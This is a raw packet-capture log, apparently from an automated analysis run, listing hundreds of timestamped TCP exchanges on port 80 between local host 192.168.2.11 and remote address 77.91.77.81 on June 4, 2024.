Jun 4, 2024 23:09:12.223320961 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223345041 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.223351955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223366976 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.223373890 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223397017 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.223397970 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.223431110 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.228427887 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.228446960 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.228514910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.228534937 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.228563070 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.380779982 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.380805016 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.380853891 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.380860090 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.380867004 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.380876064 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.380897045 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.380923986 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.381067991 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.381130934 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.381133080 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.381139040 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.381176949 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.381211996 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.381218910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.381232023 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.381259918 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.382087946 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.382102966 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.382110119 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.382116079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.382124901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.382132053 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.382134914 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.382153988 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.382179976 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.383001089 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383012056 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383025885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383030891 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383038044 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383052111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383069038 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.383177042 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.383887053 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383899927 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.383927107 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.383955956 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.385761976 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.385912895 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.719697952 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719719887 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719738960 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719747066 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719764948 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719782114 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719788074 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719808102 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719820976 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719830036 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719835043 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719841003 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719851017 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719857931 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719862938 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719873905 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719878912 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719885111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719883919 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.719897032 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719902039 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719912052 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719918013 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719926119 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719937086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719944000 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719945908 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.719961882 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719981909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.719993114 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720000982 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720005989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720012903 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720017910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720020056 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720029116 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720035076 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720045090 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720046997 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720052958 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720061064 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720067024 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720067978 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720078945 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720082998 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720096111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720102072 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720109940 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720115900 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720115900 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720115900 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720129013 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720135927 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720141888 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720146894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720155954 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720155954 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720155954 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720169067 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720176935 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720186949 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720187902 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.720210075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.720231056 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.725126982 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725131989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725143909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725202084 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725208044 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725213051 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725222111 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.725250006 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.725274086 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.725334883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725354910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725366116 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725370884 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725378990 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725388050 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725394011 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725399971 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725402117 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.725408077 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.725441933 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.725469112 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726155996 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726181030 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726191044 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726208925 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726255894 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726291895 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726325989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726344109 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726368904 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726383924 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726397991 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726404905 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726429939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726457119 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726627111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726761103 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726785898 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726799011 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726809978 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726814985 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726819992 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726824999 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726839066 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726843119 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726849079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.726849079 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726876020 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.726898909 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.727359056 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727452040 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.727565050 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727581024 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727595091 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727601051 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727612019 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727616072 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727622032 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727624893 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.727634907 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727642059 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727648020 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727649927 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.727660894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727667093 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.727674961 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.727699041 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.727724075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.728405952 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728432894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728437901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728451967 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.728477955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728492975 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728478909 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.728554010 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.728589058 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728601933 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728607893 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728616953 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728624105 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728632927 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728637934 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728643894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.728650093 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.728677034 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.728702068 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.729294062 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729322910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729335070 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729342937 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729346037 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.729347944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729402065 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.729425907 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.729473114 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729485989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729496002 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729501009 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729506016 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729511023 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729521990 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729526997 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.729543924 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.729589939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.730271101 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730317116 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730328083 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730384111 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.730458975 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730464935 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730477095 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730480909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730489969 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730496883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730509043 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730514050 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730520964 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730524063 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.730535030 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.730567932 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.730567932 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.730597019 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.731266022 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731440067 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731455088 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731462002 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731476068 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731481075 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731487036 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731492043 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731496096 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.731503010 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731509924 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731520891 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731527090 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731534958 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.731534004 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.731560946 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.731586933 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853547096 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853579998 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853627920 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853635073 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853650093 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853662968 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853667021 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853684902 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853684902 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853708029 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853725910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853734016 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853763103 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853770018 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853787899 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853806973 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853807926 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853821993 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853849888 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853866100 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853899002 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853945971 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.853949070 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.853966951 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854047060 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854140043 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854180098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854199886 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854201078 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854218006 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854238033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854243994 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854257107 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854259014 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854259014 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854275942 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854293108 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854541063 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854557037 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854589939 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854604959 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854631901 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854662895 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854681969 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854706049 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854712963 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854753017 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854892015 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854911089 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854964972 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.854971886 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.854991913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855026007 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855042934 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855045080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855097055 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855097055 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855345011 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855389118 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855438948 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855496883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855515003 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855551004 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855555058 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855570078 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855603933 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855612993 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855622053 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855638981 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855642080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.855669975 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.855690002 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856029034 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856070995 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856106043 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856127024 CEST	49712	80	192.168.2.11	77.91.77.81
